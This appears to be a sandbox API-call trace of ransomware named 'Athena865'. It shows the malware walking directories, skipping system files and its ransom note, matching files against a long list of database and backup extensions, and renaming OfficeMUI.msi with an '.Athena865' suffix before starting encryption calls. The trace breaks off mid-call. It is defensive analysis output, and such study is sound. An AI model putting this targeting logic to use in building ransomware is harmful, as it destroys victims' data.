[0059.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.493] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.507] CloseHandle (hObject=0x154) returned 1 [0059.507] CloseHandle (hObject=0x17c) returned 1 [0059.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.516] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".") returned 1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="..") returned 1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="windows") returned -1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="bootmgr") returned 1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="temp") returned -1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="pagefile.sys") returned -1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="boot") returned 1 [0059.516] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="ids.txt") returned 1 [0059.541] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="ntuser.dat") returned 1 [0059.541] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="perflogs") returned -1 [0059.541] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2="MSBuild") returned 1 [0059.541] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0059.542] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OfficeMUI.msi" | out: lpString1="OfficeMUI.msi") returned="OfficeMUI.msi" [0059.543] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0059.543] lstrlenW (lpString="Athena865") returned 9 [0059.543] lstrcmpiW (lpString1="ceMUI.msi", lpString2="Athena865") returned 1 [0059.543] lstrlenW (lpString=".dll") returned 4 [0059.543] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".dll") returned 1 [0059.543] lstrlenW (lpString=".lnk") returned 4 [0059.543] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".lnk") returned 1 [0059.543] lstrlenW (lpString=".ini") returned 4 [0059.543] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".ini") returned 1 [0059.543] lstrlenW (lpString=".sys") returned 4 [0059.543] lstrcmpiW (lpString1="OfficeMUI.msi", lpString2=".sys") returned 1 [0059.543] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0059.543] lstrlenW (lpString="bak") returned 3 [0059.543] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0059.543] lstrlenW (lpString="ba_") returned 3 [0059.543] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0059.543] lstrlenW (lpString="dbb") returned 3 [0059.543] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0059.543] lstrlenW (lpString="vmdk") returned 4 [0059.543] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0059.543] lstrlenW (lpString="rar") returned 3 [0059.543] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0059.543] lstrlenW (lpString="zip") returned 3 [0059.543] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0059.543] lstrlenW (lpString="tgz") returned 3 [0059.543] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0059.544] lstrlenW (lpString="vbox") returned 4 [0059.544] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0059.544] lstrlenW (lpString="vdi") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0059.544] lstrlenW (lpString="vhd") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0059.544] lstrlenW (lpString="vhdx") returned 4 [0059.544] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0059.544] lstrlenW (lpString="avhd") returned 4 [0059.544] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0059.544] lstrlenW (lpString="db") returned 2 [0059.544] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0059.544] lstrlenW (lpString="db2") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0059.544] lstrlenW (lpString="db3") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0059.544] lstrlenW (lpString="dbf") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0059.544] lstrlenW (lpString="mdf") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0059.544] lstrlenW (lpString="mdb") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0059.544] lstrlenW (lpString="sql") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0059.544] lstrlenW (lpString="sqlite") returned 6 [0059.544] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0059.544] lstrlenW (lpString="sqlite3") returned 7 [0059.544] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0059.544] lstrlenW (lpString="sqlitedb") returned 8 [0059.544] lstrcmpiW (lpString1="eMUI.msi", lpString2="sqlitedb") returned -1 [0059.544] lstrlenW (lpString="xml") returned 3 [0059.544] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0059.544] lstrlenW (lpString="$er") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0059.545] lstrlenW (lpString="4dd") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0059.545] lstrlenW (lpString="4dl") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0059.545] lstrlenW (lpString="^^^") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0059.545] lstrlenW (lpString="abs") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0059.545] lstrlenW (lpString="abx") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0059.545] lstrlenW (lpString="accdb") returned 5 [0059.545] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0059.545] lstrlenW (lpString="accdc") returned 5 [0059.545] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0059.545] lstrlenW (lpString="accde") returned 5 [0059.545] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0059.545] lstrlenW (lpString="accdr") returned 5 [0059.545] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0059.545] lstrlenW (lpString="accdt") returned 5 [0059.545] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0059.545] lstrlenW (lpString="accdw") returned 5 [0059.545] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0059.545] lstrlenW (lpString="accft") returned 5 [0059.545] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0059.545] lstrlenW (lpString="adb") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0059.545] lstrlenW (lpString="adb") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0059.545] lstrlenW (lpString="ade") returned 3 [0059.545] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0059.545] lstrlenW (lpString="adf") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0059.546] lstrlenW (lpString="adn") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0059.546] lstrlenW (lpString="adp") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0059.546] lstrlenW (lpString="alf") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0059.546] lstrlenW (lpString="ask") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0059.546] lstrlenW (lpString="btr") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0059.546] lstrlenW (lpString="cat") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0059.546] lstrlenW (lpString="cdb") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0059.546] lstrlenW (lpString="ckp") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0059.546] lstrlenW (lpString="cma") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0059.546] lstrlenW (lpString="cpd") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0059.546] lstrlenW (lpString="dacpac") returned 6 [0059.546] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0059.546] lstrlenW (lpString="dad") returned 3 [0059.546] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0059.546] lstrlenW (lpString="dadiagrams") returned 10 [0059.546] lstrcmpiW (lpString1="iceMUI.msi", lpString2="dadiagrams") returned 1 [0059.546] lstrlenW (lpString="daschema") returned 8 [0059.546] lstrcmpiW (lpString1="eMUI.msi", lpString2="daschema") returned 1 [0059.546] lstrlenW (lpString="db-journal") returned 10 [0059.546] lstrcmpiW (lpString1="iceMUI.msi", lpString2="db-journal") returned 1 [0059.546] lstrlenW (lpString="db-shm") returned 6 [0059.546] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0059.547] lstrlenW (lpString="db-wal") returned 6 [0059.547] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0059.547] lstrlenW (lpString="dbc") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0059.547] lstrlenW (lpString="dbs") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0059.547] lstrlenW (lpString="dbt") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0059.547] lstrlenW (lpString="dbv") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0059.547] lstrlenW (lpString="dbx") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0059.547] lstrlenW (lpString="dcb") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0059.547] lstrlenW (lpString="dct") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0059.547] lstrlenW (lpString="dcx") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0059.547] lstrlenW (lpString="ddl") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0059.547] lstrlenW (lpString="dlis") returned 4 [0059.547] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0059.547] lstrlenW (lpString="dp1") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0059.547] lstrlenW (lpString="dqy") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0059.547] lstrlenW (lpString="dsk") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0059.547] lstrlenW (lpString="dsn") returned 3 [0059.547] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0059.547] lstrlenW (lpString="dtsx") returned 4 [0059.547] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0059.548] lstrlenW (lpString="dxl") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0059.548] lstrlenW (lpString="eco") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0059.548] lstrlenW (lpString="ecx") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0059.548] lstrlenW (lpString="edb") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0059.548] lstrlenW (lpString="epim") returned 4 [0059.548] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0059.548] lstrlenW (lpString="fcd") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0059.548] lstrlenW (lpString="fdb") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0059.548] lstrlenW (lpString="fic") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0059.548] lstrlenW (lpString="flexolibrary") returned 12 [0059.548] lstrcmpiW (lpString1="fficeMUI.msi", lpString2="flexolibrary") returned -1 [0059.548] lstrlenW (lpString="fm5") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0059.548] lstrlenW (lpString="fmp") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0059.548] lstrlenW (lpString="fmp12") returned 5 [0059.548] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0059.548] lstrlenW (lpString="fmpsl") returned 5 [0059.548] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0059.548] lstrlenW (lpString="fol") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0059.548] lstrlenW (lpString="fp3") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0059.548] lstrlenW (lpString="fp4") returned 3 [0059.548] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0059.548] lstrlenW (lpString="fp5") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0059.549] lstrlenW (lpString="fp7") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0059.549] lstrlenW (lpString="fpt") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0059.549] lstrlenW (lpString="frm") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0059.549] lstrlenW (lpString="gdb") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0059.549] lstrlenW (lpString="gdb") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0059.549] lstrlenW (lpString="grdb") returned 4 [0059.549] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0059.549] lstrlenW (lpString="gwi") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0059.549] lstrlenW (lpString="hdb") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0059.549] lstrlenW (lpString="his") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0059.549] lstrlenW (lpString="ib") returned 2 [0059.549] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0059.549] lstrlenW (lpString="idb") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0059.549] lstrlenW (lpString="ihx") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0059.549] lstrlenW (lpString="itdb") returned 4 [0059.549] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0059.549] lstrlenW (lpString="itw") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0059.549] lstrlenW (lpString="jet") returned 3 [0059.549] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0059.549] lstrlenW (lpString="jtx") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0059.550] lstrlenW (lpString="kdb") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0059.550] lstrlenW (lpString="kexi") returned 4 [0059.550] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0059.550] lstrlenW (lpString="kexic") returned 5 [0059.550] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0059.550] lstrlenW (lpString="kexis") returned 5 [0059.550] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0059.550] lstrlenW (lpString="lgc") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0059.550] lstrlenW (lpString="lwx") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0059.550] lstrlenW (lpString="maf") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0059.550] lstrlenW (lpString="maq") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0059.550] lstrlenW (lpString="mar") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0059.550] lstrlenW (lpString="marshal") returned 7 [0059.550] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0059.550] lstrlenW (lpString="mas") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0059.550] lstrlenW (lpString="mav") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0059.550] lstrlenW (lpString="maw") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0059.550] lstrlenW (lpString="mdbhtml") returned 7 [0059.550] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0059.550] lstrlenW (lpString="mdn") returned 3 [0059.550] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0059.550] lstrlenW (lpString="mdt") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0059.551] lstrlenW (lpString="mfd") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0059.551] lstrlenW (lpString="mpd") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0059.551] lstrlenW (lpString="mrg") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0059.551] lstrlenW (lpString="mud") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0059.551] lstrlenW (lpString="mwb") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0059.551] lstrlenW (lpString="myd") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0059.551] lstrlenW (lpString="ndf") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0059.551] lstrlenW (lpString="nnt") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0059.551] lstrlenW (lpString="nrmlib") returned 6 [0059.551] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0059.551] lstrlenW (lpString="ns2") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0059.551] lstrlenW (lpString="ns3") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0059.551] lstrlenW (lpString="ns4") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0059.551] lstrlenW (lpString="nsf") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0059.551] lstrlenW (lpString="nv") returned 2 [0059.551] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0059.551] lstrlenW (lpString="nv2") returned 3 [0059.551] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0059.551] lstrlenW (lpString="nwdb") returned 4 [0059.551] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0059.552] lstrlenW (lpString="nyf") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0059.552] lstrlenW (lpString="odb") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0059.552] lstrlenW (lpString="odb") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0059.552] lstrlenW (lpString="oqy") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0059.552] lstrlenW (lpString="ora") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0059.552] lstrlenW (lpString="orx") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0059.552] lstrlenW (lpString="owc") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0059.552] lstrlenW (lpString="p96") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0059.552] lstrlenW (lpString="p97") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0059.552] lstrlenW (lpString="pan") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0059.552] lstrlenW (lpString="pdb") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0059.552] lstrlenW (lpString="pdm") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0059.552] lstrlenW (lpString="pnz") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0059.552] lstrlenW (lpString="qry") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0059.552] lstrlenW (lpString="qvd") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0059.552] lstrlenW (lpString="rbf") returned 3 [0059.552] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0059.552] lstrlenW (lpString="rctd") returned 4 [0059.553] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0059.553] lstrlenW (lpString="rod") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0059.553] lstrlenW (lpString="rodx") returned 4 [0059.553] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0059.553] lstrlenW (lpString="rpd") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0059.553] lstrlenW (lpString="rsd") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0059.553] lstrlenW (lpString="sas7bdat") returned 8 [0059.553] lstrcmpiW (lpString1="eMUI.msi", lpString2="sas7bdat") returned -1 [0059.553] lstrlenW (lpString="sbf") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0059.553] lstrlenW (lpString="scx") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0059.553] lstrlenW (lpString="sdb") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0059.553] lstrlenW (lpString="sdc") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0059.553] lstrlenW (lpString="sdf") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0059.553] lstrlenW (lpString="sis") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0059.553] lstrlenW (lpString="spq") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0059.553] lstrlenW (lpString="te") returned 2 [0059.553] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0059.553] lstrlenW (lpString="teacher") returned 7 [0059.553] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0059.553] lstrlenW (lpString="tmd") returned 3 [0059.553] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0059.553] lstrlenW (lpString="tps") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0059.554] lstrlenW (lpString="trc") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0059.554] lstrlenW (lpString="trc") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0059.554] lstrlenW (lpString="trm") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0059.554] lstrlenW (lpString="udb") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0059.554] lstrlenW (lpString="udl") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0059.554] lstrlenW (lpString="usr") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0059.554] lstrlenW (lpString="v12") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0059.554] lstrlenW (lpString="vis") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0059.554] lstrlenW (lpString="vpd") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0059.554] lstrlenW (lpString="vvv") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0059.554] lstrlenW (lpString="wdb") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0059.554] lstrlenW (lpString="wmdb") returned 4 [0059.554] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0059.554] lstrlenW (lpString="wrk") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0059.554] lstrlenW (lpString="xdb") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0059.554] lstrlenW (lpString="xld") returned 3 [0059.554] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0059.554] lstrlenW (lpString="xmlff") returned 5 [0059.555] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0059.555] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.Athena865") returned 86 [0059.555] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.athena865"), dwFlags=0x1) returned 1 [0059.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.556] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3702272) returned 1 [0059.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.556] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.556] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.557] CryptGenRandom (in: hProv=0x518ef8, 